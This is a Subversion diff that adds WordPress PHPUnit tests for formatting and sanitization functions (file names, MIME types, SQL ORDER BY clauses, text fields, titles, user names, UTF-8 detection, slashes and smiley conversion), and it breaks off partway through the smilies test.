+	public function _set_locale_to_serbian() {
+		return 'sr_RS';
+	}
+
+	/**
+	 * @ticket 38078
+	 */
+	public function test_transcribe_serbian_crossed_d() {
+		add_filter( 'locale', array( $this, '_set_locale_to_serbian' ) );
+
+		$this->assertEquals( 'DJdj', remove_accents( 'Đđ' ) );
+		
+		remove_filter( 'locale', array( $this, '_set_locale_to_serbian' ) );
+		
+		$this->assertEquals( 'Dd', remove_accents( 'Đđ' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeFileName.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeFileName.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeFileName.php	(revision 56912)
@@ -0,0 +1,86 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeFileName extends WP_UnitTestCase {
+	function test_munges_extensions() {
+		# r17990
+		$file_name = sanitize_file_name( 'test.phtml.txt' );
+		$this->assertEquals( 'test.phtml_.txt', $file_name );
+	}
+
+	function test_removes_special_chars() {
+		$special_chars = array("?", "[", "]", "/", "\\", "=", "<", ">", ":", ";", ",", "'", "\"", "&", "$", "#", "*", "(", ")", "|", "~", "`", "!", "{", "}", "%", "+", chr(0));
+		$string = 'test';
+		foreach ( $special_chars as $char )
+			$string .= $char;
+		$string .= 'test';
+		$this->assertEquals( 'testtest', sanitize_file_name( $string ) );
+	}
+
+	/**
+	 * Test that spaces are correctly replaced with dashes.
+	 *
+	 * @ticket 16330
+	 */
+	function test_replace_spaces() {
+		$urls = array(
+			'unencoded space.png' => 'unencoded-space.png',
+			'encoded-space.jpg' => 'encoded-space.jpg',
+			'plus+space.jpg' => 'plusspace.jpg',
+			'multi %20 +space.png' => 'multi-20-space.png',
+		);
+
+		foreach( $urls as $test => $expected ) {
+			$this->assertEquals( $expected, sanitize_file_name( $test ) );
+		}
+	}
+
+	function test_replaces_any_number_of_hyphens_with_one_hyphen() {
+		$this->assertEquals("a-t-t", sanitize_file_name("a----t----t"));
+	}
+
+	function test_trims_trailing_hyphens() {
+		$this->assertEquals("a-t-t", sanitize_file_name("a----t----t----"));
+	}
+
+	function test_replaces_any_amount_of_whitespace_with_one_hyphen() {
+		$this->assertEquals("a-t", sanitize_file_name("a          t"));
+		$this->assertEquals("a-t", sanitize_file_name("a    \n\n\nt"));
+	}
+
+	/**
+	 * @ticket 16226
+	 */
+	function test_replaces_percent_sign() {
+		$this->assertEquals( 'a22b.jpg', sanitize_file_name( 'a%22b.jpg' ) );
+	}
+
+	function test_replaces_unnammed_file_extensions() {
+		// Test filenames with both supported and unsupported extensions.
+		$this->assertEquals( 'unnamed-file.exe', sanitize_file_name( '_.exe' ) );
+		$this->assertEquals( 'unnamed-file.jpg', sanitize_file_name( '_.jpg' ) );
+	}
+
+	function test_replaces_unnammed_file_extensionless() {
+		// Test a filenames that becomes extensionless.
+		$this->assertEquals( 'no-extension', sanitize_file_name( '_.no-extension' ) );
+	}
+
+	/**
+	 * @dataProvider data_wp_filenames
+	 */
+	function test_replaces_invalid_utf8_characters( $input, $expected ) {
+		$this->assertEquals( $expected, sanitize_file_name( $input ) );
+	}
+
+	function data_wp_filenames() {
+		return array(
+			array( urldecode( '%B1myfile.png' ), 'myfile.png' ),
+			array( urldecode( '%B1myfile' ), 'myfile' ),
+			array( 'demo bar.png', 'demo-bar.png' ),
+			array( 'demo' . json_decode( '"\u00a0"' ) . 'bar.png', 'demo-bar.png' ),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeMimeType.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeMimeType.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeMimeType.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeMimeType extends WP_UnitTestCase {
+	// 17855
+	function test_sanitize_valid_mime_type() {
+		$inputs = array(
+			'application/atom+xml',
+			'application/EDI-X12',
+			'application/EDIFACT',
+			'application/json',
+			'application/javascript',
+			'application/octet-stream',
+			'application/ogg',
+			'application/pdf',
+			'application/postscript',
+			'application/soap+xml',
+			'application/x-woff',
+			'application/xhtml+xml',
+			'application/xml-dtd',
+			'application/xop+xml',
+			'application/zip',
+			'application/x-gzip',
+			'audio/basic',
+			'image/jpeg',
+			'text/css',
+			'text/html',
+			'text/plain',
+			'video/mpeg',
+		);
+
+		foreach ( $inputs as $input ) {
+			$this->assertEquals($input, sanitize_mime_type($input));
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeOrderby.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeOrderby.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeOrderby.php	(revision 56912)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * @group sanitize_sql_orderby
+ */
+class Tests_Formatting_SanitizeOrderby extends WP_UnitTestCase {
+
+	/**
+	 * @covers ::sanitize_sql_orderby
+	 * @dataProvider valid_orderbys
+	 */
+	function test_valid( $orderby ) {
+		$this->assertEquals( $orderby, sanitize_sql_orderby( $orderby ) );
+	}
+	function valid_orderbys() {
+		return array(
+			array( '1' ),
+			array( '1 ASC' ),
+			array( '1 ASC, 2' ),
+			array( '1 ASC, 2 DESC' ),
+			array( '1 ASC, 2 DESC, 3' ),
+			array( '       1      DESC' ),
+			array( 'field ASC' ),
+			array( 'field1 ASC, field2' ),
+			array( 'field_1 ASC, field_2 DESC' ),
+			array( 'field1, field2 ASC' ),
+			array( '`field1`' ),
+			array( '`field1` ASC' ),
+			array( '`field` ASC, `field2`' ),
+			array( 'RAND()' ),
+			array( '   RAND(  )   ' ),
+		);
+	}
+
+	/**
+	 * @covers ::sanitize_sql_orderby
+	 * @dataProvider invalid_orderbys
+	 */
+	function test_invalid( $orderby ) {
+		$this->assertFalse( sanitize_sql_orderby( $orderby ) );
+	}
+	function invalid_orderbys() {
+		return array(
+			array( '' ),
+			array( '1 2' ),
+			array( '1, 2 3' ),
+			array( '1 DESC, ' ),
+			array( 'field-1' ),
+			array( 'field DESC,' ),
+			array( 'field1 field2' ),
+			array( 'field RAND()' ),
+			array( 'RAND() ASC' ),
+			array( '`field1` ASC, `field2' ),
+			array( 'field, !@#$%^' ),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/SanitizePost.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/SanitizePost.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/SanitizePost.php	(revision 56912)
@@ -0,0 +1,25 @@
+<?php
+/**
+ * @group formatting
+ * @group post
+ */
+class Tests_Formatting_SanitizePost extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 22324
+	 */
+	function test_int_fields() {
+		$post = self::factory()->post->create_and_get();
+		$int_fields = array(
+			'ID'            => 'integer',
+			'post_parent'   => 'integer',
+			'menu_order'    => 'integer',
+			'post_author'   => 'string',
+			'comment_count' => 'string',
+		);
+
+		foreach ( $int_fields as $field => $type ) {
+			$this->assertInternalType( $type, $post->$field, "field $field" );
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTextField.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTextField.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTextField.php	(revision 56912)
@@ -0,0 +1,114 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTextField extends WP_UnitTestCase {
+	function data_sanitize_text_field() {
+		return array(
+			array(
+				'оРангутанг', //Ensure UTF8 text is safe the Р is D0 A0 and A0 is the non-breaking space.
+				'оРангутанг',
+			),
+			array(
+				'САПР', //Ensure UTF8 text is safe the Р is D0 A0 and A0 is the non-breaking space.
+				'САПР',
+			),
+			array(
+				'one is < two',
+				'one is &lt; two',
+			),
+			array(
+				"one is <\n two",
+				array(
+					'oneline' => 'one is &lt; two',
+					'multiline' => "one is &lt;\n two",
+				),
+			),
+			array(
+				"foo <div\n> bar",
+				array(
+					'oneline' => 'foo bar',
+					'multiline' => "foo  bar",
+				),
+			),
+			array(
+				"foo <\ndiv\n> bar",
+				array(
+					'oneline' => 'foo &lt; div > bar',
+					'multiline' => "foo &lt;\ndiv\n> bar",
+				),
+			),
+			array(
+				'tags <span>are</span> <em>not allowed</em> here',
+				'tags are not allowed here',
+			),
+			array(
+				' we should trim leading and trailing whitespace ',
+				'we should trim leading and trailing whitespace',
+			),
+			array(
+				'we  trim  extra  internal  whitespace  only  in  single  line  texts',
+				array(
+					'oneline' => 'we trim extra internal whitespace only in single line texts',
+					'multiline' => 'we  trim  extra  internal  whitespace  only  in  single  line  texts',
+				),
+			),
+			array(
+				"tabs \tget removed in single line texts",
+				array(
+					'oneline' => 'tabs get removed in single line texts',
+					'multiline' => "tabs \tget removed in single line texts",
+				),
+			),
+			array(
+				"newlines are allowed only\n in multiline texts",
+				array(
+					'oneline' => 'newlines are allowed only in multiline texts',
+					'multiline' => "newlines are allowed only\n in multiline texts",
+				),
+			),
+			array(
+				'We also %AB remove %ab octets',
+				'We also remove octets',
+			),
+			array(
+				'We don\'t need to wory about %A
+				B removing %a
+				b octets even when %a	B they are obscured by whitespace',
+				array (
+					'oneline' => 'We don\'t need to wory about %A B removing %a b octets even when %a B they are obscured by whitespace',
+					'multiline' => "We don't need to wory about %A\n				B removing %a\n				b octets even when %a	B they are obscured by whitespace",
+				),
+			),
+			array(
+				'%AB%BC%DE', //Just octets
+				'', //Emtpy as we strip all the octets out
+			),
+			array(
+				'Invalid octects remain %II',
+				'Invalid octects remain %II',
+			),
+			array(
+				'Nested octects %%%ABABAB %A%A%ABBB',
+				'Nested octects',
+			),
+		);
+	}
+
+	/**
+	 * @ticket 32257
+	 * @dataProvider data_sanitize_text_field
+	 */
+	function test_sanitize_text_field( $string, $expected ) {
+		if ( is_array( $expected ) ) {
+			$expected_oneline = $expected['oneline'];
+			$expected_multiline = $expected['multiline'];
+		} else {
+			$expected_oneline = $expected_multiline = $expected;
+		}
+		$this->assertEquals( $expected_oneline, sanitize_text_field( $string ) );
+		$this->assertEquals( $expected_multiline, sanitize_textarea_field( $string ) );
+
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTitle.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTitle.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTitle.php	(revision 56912)
@@ -0,0 +1,18 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTitle extends WP_UnitTestCase {
+	function test_strips_html() {
+		$input = "Captain <strong>Awesome</strong>";
+		$expected = "captain-awesome";
+		$this->assertEquals($expected, sanitize_title($input));
+	}
+
+	function test_titles_sanitized_to_nothing_are_replaced_with_optional_fallback() {
+		$input = "<strong></strong>";
+		$fallback = "Captain Awesome";
+		$this->assertEquals($fallback, sanitize_title($input, $fallback));
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTitleWithDashes.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTitleWithDashes.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTitleWithDashes.php	(revision 56912)
@@ -0,0 +1,143 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTitleWithDashes extends WP_UnitTestCase {
+	function test_strips_html() {
+		$input = "Captain <strong>Awesome</strong>";
+		$expected = "captain-awesome";
+		$this->assertEquals($expected, sanitize_title($input));
+	}
+
+	function test_strips_unencoded_percent_signs() {
+		$this->assertEquals("fran%c3%a7ois", sanitize_title_with_dashes("fran%c3%a7%ois"));
+	}
+
+	function test_makes_title_lowercase() {
+		$this->assertEquals("abc", sanitize_title_with_dashes("ABC"));
+	}
+
+	function test_replaces_any_amount_of_whitespace_with_one_hyphen() {
+		$this->assertEquals("a-t", sanitize_title_with_dashes("a          t"));
+		$this->assertEquals("a-t", sanitize_title_with_dashes("a    \n\n\nt"));
+	}
+
+	function test_replaces_any_number_of_hyphens_with_one_hyphen() {
+		$this->assertEquals("a-t-t", sanitize_title_with_dashes("a----t----t"));
+	}
+
+	function test_trims_trailing_hyphens() {
+		$this->assertEquals("a-t-t", sanitize_title_with_dashes("a----t----t----"));
+	}
+
+	function test_handles_non_entity_ampersands() {
+		$this->assertEquals("penn-teller-bull", sanitize_title_with_dashes("penn & teller bull"));
+	}
+
+	public function test_strips_nbsp_ndash_and_amp() {
+		$this->assertEquals("no-entities-here", sanitize_title_with_dashes("No &nbsp; Entities &ndash; Here &amp;"));
+	}
+
+	public function test_strips_encoded_ampersand() {
+		$this->assertEquals("one-two", sanitize_title_with_dashes("One &amp; Two", '', 'save'));
+	}
+
+	public function test_strips_url_encoded_ampersand() {
+		$this->assertEquals("one-two", sanitize_title_with_dashes("One &#123; Two;", '', 'save'));
+	}
+
+	public function test_strips_trademark_symbol() {
+		$this->assertEquals("one-two", sanitize_title_with_dashes("One Two™;", '', 'save'));
+	}
+
+	public function test_strips_unencoded_ampersand_followed_by_encoded_ampersand() {
+		$this->assertEquals("one-two", sanitize_title_with_dashes("One &&amp; Two;", '', 'save'));
+	}
+
+	public function test_strips_unencoded_ampersand_when_not_surrounded_by_spaces() {
+		$this->assertEquals("onetwo", sanitize_title_with_dashes("One&Two", '', 'save'));
+	}
+
+	function test_replaces_nbsp() {
+		$this->assertEquals("dont-break-the-space", sanitize_title_with_dashes("don't break the space", '', 'save'));
+	}
+
+	/**
+	 * @ticket 31790
+	 */
+	function test_replaces_nbsp_entities() {
+		$this->assertEquals("dont-break-the-space", sanitize_title_with_dashes("don't&nbsp;break&#160;the&nbsp;space", '', 'save'));
+	}
+
+	function test_replaces_ndash_mdash() {
+		$this->assertEquals("do-the-dash", sanitize_title_with_dashes("Do – the Dash", '', 'save'));
+		$this->assertEquals("do-the-dash", sanitize_title_with_dashes("Do the — Dash", '', 'save'));
+	}
+
+	/**
+	 * @ticket 31790
+	 */
+	function test_replaces_ndash_mdash_entities() {
+		$this->assertEquals("do-the-dash", sanitize_title_with_dashes("Do &ndash; the &#8211; Dash", '', 'save'));
+		$this->assertEquals("do-the-dash", sanitize_title_with_dashes("Do &mdash; the &#8212; Dash", '', 'save'));
+	}
+
+	function test_replaces_iexcel_iquest() {
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just ¡a Slug", '', 'save'));
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just a Slug¿", '', 'save'));
+	}
+
+	function test_replaces_angle_quotes() {
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("‹Just a Slug›", '', 'save'));
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("«Just a Slug»", '', 'save'));
+	}
+
+	function test_replaces_curly_quotes() {
+		$this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its “Curly Joe”", '', 'save'));
+		$this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its ‘Curly Joe’", '', 'save'));
+		$this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its „Curly Joe“", '', 'save'));
+		$this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its ‚Curly Joe‛", '', 'save'));
+		$this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its „Curly Joe‟", '', 'save'));
+	}
+
+	function test_replaces_copy_reg_deg_trade() {
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just © a Slug", '', 'save'));
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("® Just a Slug", '', 'save'));
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just a ° Slug", '', 'save'));
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just ™ a Slug", '', 'save'));
+	}
+
+	/**
+	 * @ticket 10792
+	 */
+	function test_replaces_forward_slash() {
+		$this->assertEquals("songs-by-lennon-mccartney", sanitize_title_with_dashes("songs by Lennon/McCartney", '', 'save'));
+		$this->assertEquals("songs-by-lennon-mccartney", sanitize_title_with_dashes("songs by Lennon//McCartney", '', 'save'));
+		$this->assertEquals("songs-by-lennon-mccartney", sanitize_title_with_dashes("songs by Lennon///McCartney", '', 'save'));
+		$this->assertEquals("songs-by-lennon-mccartney", sanitize_title_with_dashes("songs by Lennon/-McCartney", '', 'save'));
+		$this->assertEquals("songs-by-lennon-mccartney", sanitize_title_with_dashes("//songs by Lennon/McCartney", '', 'save'));
+	}
+
+	/**
+	 * @ticket 19820
+	 */
+	function test_replaces_multiply_sign() {
+		$this->assertEquals("6x7-is-42", sanitize_title_with_dashes("6×7 is 42", '', 'save'));
+	}
+
+	/**
+	 * @ticket 20772
+	 */
+	function test_replaces_standalone_diacritic() {
+		$this->assertEquals("aaaa", sanitize_title_with_dashes("āáǎà", '', 'save'));
+	}
+
+	/**
+	 * @ticket 22395
+	 */
+	function test_replaces_acute_accents() {
+		$this->assertEquals("aaaa", sanitize_title_with_dashes("ááa´aˊ", '', 'save'));
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTrackbackUrls.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTrackbackUrls.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeTrackbackUrls.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTrackbackUrls extends WP_UnitTestCase {
+	/**
+	 * @ticket 21624
+	 * @dataProvider breaks
+	 */
+	function test_sanitize_trackback_urls_with_multiple_urls( $break ) {
+		$this->assertEquals( "http://example.com\nhttp://example.org", sanitize_trackback_urls( "http://example.com{$break}http://example.org" ) );
+	}
+
+	function breaks() {
+		return array(
+			array( "\r\n\t " ),
+			array( "\r" ),
+			array( "\n" ),
+			array( "\t" ),
+			array( ' ' ),
+			array( '  ' ),
+			array( "\n  " ),
+			array( "\r\n" ),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeUser.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeUser.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/SanitizeUser.php	(revision 56912)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeUser extends WP_UnitTestCase {
+	function test_strips_html() {
+		$input = "Captain <strong>Awesome</strong>";
+		$expected = is_multisite() ? 'captain awesome' : 'Captain Awesome';
+		$this->assertEquals($expected, sanitize_user($input));
+	}
+
+	public function test_strips_encoded_ampersand() {
+		$expected = 'ATT';
+
+		// Multisite forces user logins to lowercase.
+		if ( is_multisite() ) {
+			$expected = strtolower( $expected );
+		}
+
+		$this->assertEquals( $expected, sanitize_user( "AT&amp;T" ) );
+	}
+
+	public function test_strips_encoded_ampersand_when_followed_by_semicolon() {
+		$expected = 'ATT Test;';
+
+		// Multisite forces user logins to lowercase.
+		if ( is_multisite() ) {
+			$expected = strtolower( $expected );
+		}
+
+		$this->assertEquals( $expected, sanitize_user( "AT&amp;T Test;" ) );
+	}
+
+	function test_strips_percent_encoded_octets() {
+		$expected = is_multisite() ? 'franois' : 'Franois';
+		$this->assertEquals( $expected, sanitize_user( "Fran%c3%a7ois" ) );
+	}
+	function test_optional_strict_mode_reduces_to_safe_ascii_subset() {
+		$this->assertEquals("abc", sanitize_user("()~ab~ˆcˆ!", true));
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/SeemsUtf8.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/SeemsUtf8.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/SeemsUtf8.php	(revision 56912)
@@ -0,0 +1,44 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SeemsUtf8 extends WP_UnitTestCase {
+
+	/**
+	 * `seems_utf8` returns true for utf-8 strings, false otherwise.
+	 *
+	 * @dataProvider utf8_strings
+	 */
+	function test_returns_true_for_utf8_strings( $utf8_string ) {
+		// from http://www.i18nguy.com/unicode-example.html
+		$this->assertTrue( seems_utf8( $utf8_string ) );
+	}
+
+	function utf8_strings() {
+		$utf8_strings = file( DIR_TESTDATA . '/formatting/utf-8/utf-8.txt' );
+		foreach ( $utf8_strings as &$string ) {
+			$string = (array) trim( $string );
+		}
+		unset( $string );
+		return $utf8_strings;
+	}
+
+	/**
+	 * @dataProvider big5_strings
+	 */
+	function test_returns_false_for_non_utf8_strings( $big5_string ) {
+		$this->assertFalse( seems_utf8( $big5_string ) );
+	}
+
+	function big5_strings() {
+		// Get data from formatting/big5.txt
+		$big5_strings = file( DIR_TESTDATA . '/formatting/big5.txt' );
+		foreach ( $big5_strings as &$string ) {
+			$string = (array) trim( $string );
+		}
+		unset( $string );
+		return $big5_strings;
+	}
+}
+
Index: /tags/5.0.20/tests/phpunit/tests/formatting/Slashit.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/Slashit.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/Slashit.php	(revision 56912)
@@ -0,0 +1,54 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Slashit extends WP_UnitTestCase {
+	function test_backslashes_middle_numbers() {
+		$this->assertEquals("\\a-!9\\a943\\b\\c", backslashit("a-!9a943bc"));
+	}
+
+	function test_backslashes_alphas() {
+		$this->assertEquals("\\a943\\b\\c", backslashit("a943bc"));
+	}
+
+	function test_double_backslashes_leading_numbers() {
+		$this->assertEquals("\\\\95", backslashit("95"));
+	}
+
+	function test_removes_trailing_slashes() {
+		$this->assertEquals("a", untrailingslashit("a/"));
+		$this->assertEquals("a", untrailingslashit("a////"));
+	}
+
+	/**
+	 * @ticket 22267
+	 */
+	function test_removes_trailing_backslashes() {
+		$this->assertEquals("a", untrailingslashit("a\\"));
+		$this->assertEquals("a", untrailingslashit("a\\\\\\\\"));
+	}
+
+	/**
+	 * @ticket 22267
+	 */
+	function test_removes_trailing_mixed_slashes() {
+		$this->assertEquals("a", untrailingslashit("a/\\"));
+		$this->assertEquals("a", untrailingslashit("a\\/\\///\\\\//"));
+	}
+
+	function test_adds_trailing_slash() {
+		$this->assertEquals("a/", trailingslashit("a"));
+	}
+
+	function test_does_not_add_trailing_slash_if_one_exists() {
+		$this->assertEquals("a/", trailingslashit("a/"));
+	}
+
+	/**
+	 * @ticket 22267
+	 */
+	function test_converts_trailing_backslash_to_slash_if_one_exists() {
+		$this->assertEquals("a/", trailingslashit("a\\"));
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/Smilies.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/Smilies.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/Smilies.php	(revision 56912)
@@ -0,0 +1,358 @@
+<?php
+
+/**
+ * @group formatting
+ * @group emoji
+ */
+class Tests_Formatting_Smilies extends WP_UnitTestCase {
+
+	/**
+	 * Basic Test Content DataProvider
+	 *
+	 * array ( input_txt, converted_output_txt)
+	 */
+	public function get_smilies_input_output() {
+		$includes_path = includes_url("images/smilies/");
+
+		return array (
+			array (
+				'Lorem ipsum dolor sit amet mauris ;-) Praesent gravida sodales. :lol: Vivamus nec diam in faucibus eu, bibendum varius nec, imperdiet purus est, at augue at lacus malesuada elit dapibus a, :eek: mauris. Cras mauris viverra elit. Nam laoreet viverra. Pellentesque tortor. Nam libero ante, porta urna ut turpis. Nullam wisi magna, :mrgreen: tincidunt nec, sagittis non, fringilla enim. Nam consectetuer nec, ullamcorper pede eu dui odio consequat vel, vehicula tortor quis pede turpis cursus quis, egestas ipsum ultricies ut, eleifend velit. Mauris vestibulum iaculis. Sed in nunc. Vivamus elit porttitor egestas. Mauris purus :?:',
+				"Lorem ipsum dolor sit amet mauris \xf0\x9f\x98\x89 Praesent gravida sodales. \xf0\x9f\x98\x86 Vivamus nec diam in faucibus eu, bibendum varius nec, imperdiet purus est, at augue at lacus malesuada elit dapibus a, \xf0\x9f\x98\xae mauris. Cras mauris viverra elit. Nam laoreet viverra. Pellentesque tortor. Nam libero ante, porta urna ut turpis. Nullam wisi magna, <img src=\"${includes_path}mrgreen.png\" alt=\":mrgreen:\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" /> tincidunt nec, sagittis non, fringilla enim. Nam consectetuer nec, ullamcorper pede eu dui odio consequat vel, vehicula tortor quis pede turpis cursus quis, egestas ipsum ultricies ut, eleifend velit. Mauris vestibulum iaculis. Sed in nunc. Vivamus elit porttitor egestas. Mauris purus \xe2\x9d\x93"
+			),
+			array (
+				'<strong>Welcome to the jungle!</strong> We got fun n games! :) We got everything you want 8-) <em>Honey we know the names :)</em>',
+				"<strong>Welcome to the jungle!</strong> We got fun n games! \xf0\x9f\x99\x82 We got everything you want \xf0\x9f\x98\x8e <em>Honey we know the names \xf0\x9f\x99\x82</em>"
+			),
+			array (
+				"<strong;)>a little bit of this\na little bit:other: of that :D\n:D a little bit of good\nyeah with a little bit of bad8O",
+				"<strong;)>a little bit of this\na little bit:other: of that \xf0\x9f\x98\x80\n\xf0\x9f\x98\x80 a little bit of good\nyeah with a little bit of bad8O"
+			),
+			array (
+				'<strong style="here comes the sun :-D">and I say it\'s allright:D:D',
+				'<strong style="here comes the sun :-D">and I say it\'s allright:D:D'
+			),
+			array (
+				'<!-- Woo-hoo, I\'m a comment, baby! :x > -->',
+				'<!-- Woo-hoo, I\'m a comment, baby! :x > -->'
+			),
+			array (
+				':?:P:?::-x:mrgreen:::',
+				':?:P:?::-x:mrgreen:::'
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider get_smilies_input_output
+	 *
+	 * Basic Validation Test to confirm that smilies are converted to image
+	 * when use_smilies = 1 and not when use_smilies = 0
+	 */
+	function test_convert_standard_smilies( $in_txt, $converted_txt ) {
+		// standard smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+
+		smilies_init();
+
+		$this->assertEquals( $converted_txt, convert_smilies($in_txt) );
+
+		// standard smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+
+		$this->assertEquals( $in_txt, convert_smilies($in_txt) );
+	}
+
+	/**
+	 * Custom Smilies Test Content DataProvider
+	 *
+	 * array ( input_txt, converted_output_txt)
+	 */
+	public function get_custom_smilies_input_output() {
+		$includes_path = includes_url("images/smilies/");
+
+		return array (
+			array (
+				'Peter Brian Gabriel (born 13 February 1950) is a British singer, musician, and songwriter who rose to fame as the lead vocalist and flautist of the progressive rock group Genesis. :monkey:',
+				'Peter Brian Gabriel (born 13 February 1950) is a British singer, musician, and songwriter who rose to fame as the lead vocalist and flautist of the progressive rock group Genesis. <img src="' . $includes_path . 'icon_shock_the_monkey.gif" alt=":monkey:" class="wp-smiley" style="height: 1em; max-height: 1em;" />'
+			),
+			array (
+				'Star Wars Jedi Knight :arrow: Jedi Academy is a first and third-person shooter action game set in the Star Wars universe. It was developed by Raven Software and published, distributed and marketed by LucasArts in North America and by Activision in the rest of the world. :nervou:',
+				'Star Wars Jedi Knight <img src="' . $includes_path . 'icon_arrow.gif" alt=":arrow:" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Jedi Academy is a first and third-person shooter action game set in the Star Wars universe. It was developed by Raven Software and published, distributed and marketed by LucasArts in North America and by Activision in the rest of the world. <img src="' . $includes_path . 'icon_nervou.gif" alt=":nervou:" class="wp-smiley" style="height: 1em; max-height: 1em;" />'
+			),
+			array (
+				':arrow: monkey: Lorem ipsum dolor sit amet enim. Etiam ullam :PP <br />corper. Suspendisse a pellentesque dui, non felis.<a> :arrow: :arrow</a>',
+				'<img src="' . $includes_path . 'icon_arrow.gif" alt=":arrow:" class="wp-smiley" style="height: 1em; max-height: 1em;" /> monkey: Lorem ipsum dolor sit amet enim. Etiam ullam <img src="' . $includes_path . 'icon_tongue.gif" alt=":PP" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <br />corper. Suspendisse a pellentesque dui, non felis.<a> <img src="' . $includes_path . 'icon_arrow.gif" alt=":arrow:" class="wp-smiley" style="height: 1em; max-height: 1em;" /> :arrow</a>'
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider get_custom_smilies_input_output
+	 *
+	 * Validate Custom Smilies are converted to images when use_smilies = 1
+	 */
+	function test_convert_custom_smilies ( $in_txt, $converted_txt ) {
+		global $wpsmiliestrans;
+
+		// custom smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+
+		if ( !isset( $wpsmiliestrans ) ) {
+			smilies_init();
+		}
+
+		$trans_orig = $wpsmiliestrans; // save original translations array
+
+		$wpsmiliestrans = array(
+		  ':PP' => 'icon_tongue.gif',
+		  ':arrow:' => 'icon_arrow.gif',
+		  ':monkey:' => 'icon_shock_the_monkey.gif',
+		  ':nervou:' => 'icon_nervou.gif'
+		);
+
+		smilies_init();
+
+		$this->assertEquals( $converted_txt, convert_smilies($in_txt) );
+
+		// standard smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+
+		$this->assertEquals( $in_txt, convert_smilies($in_txt) );
+
+		$wpsmiliestrans = $trans_orig; // reset original translations array
+	}
+
+
+	/**
+	 * DataProvider of HTML elements/tags that smilie matches should be ignored in
+	 *
+	 */
+	public function get_smilies_ignore_tags() {
+		return array (
+			array( 'pre' ),
+			array( 'code' ),
+			array( 'script' ),
+			array( 'style' ),
+			array( 'textarea'),
+		);
+	}
+
+	/**
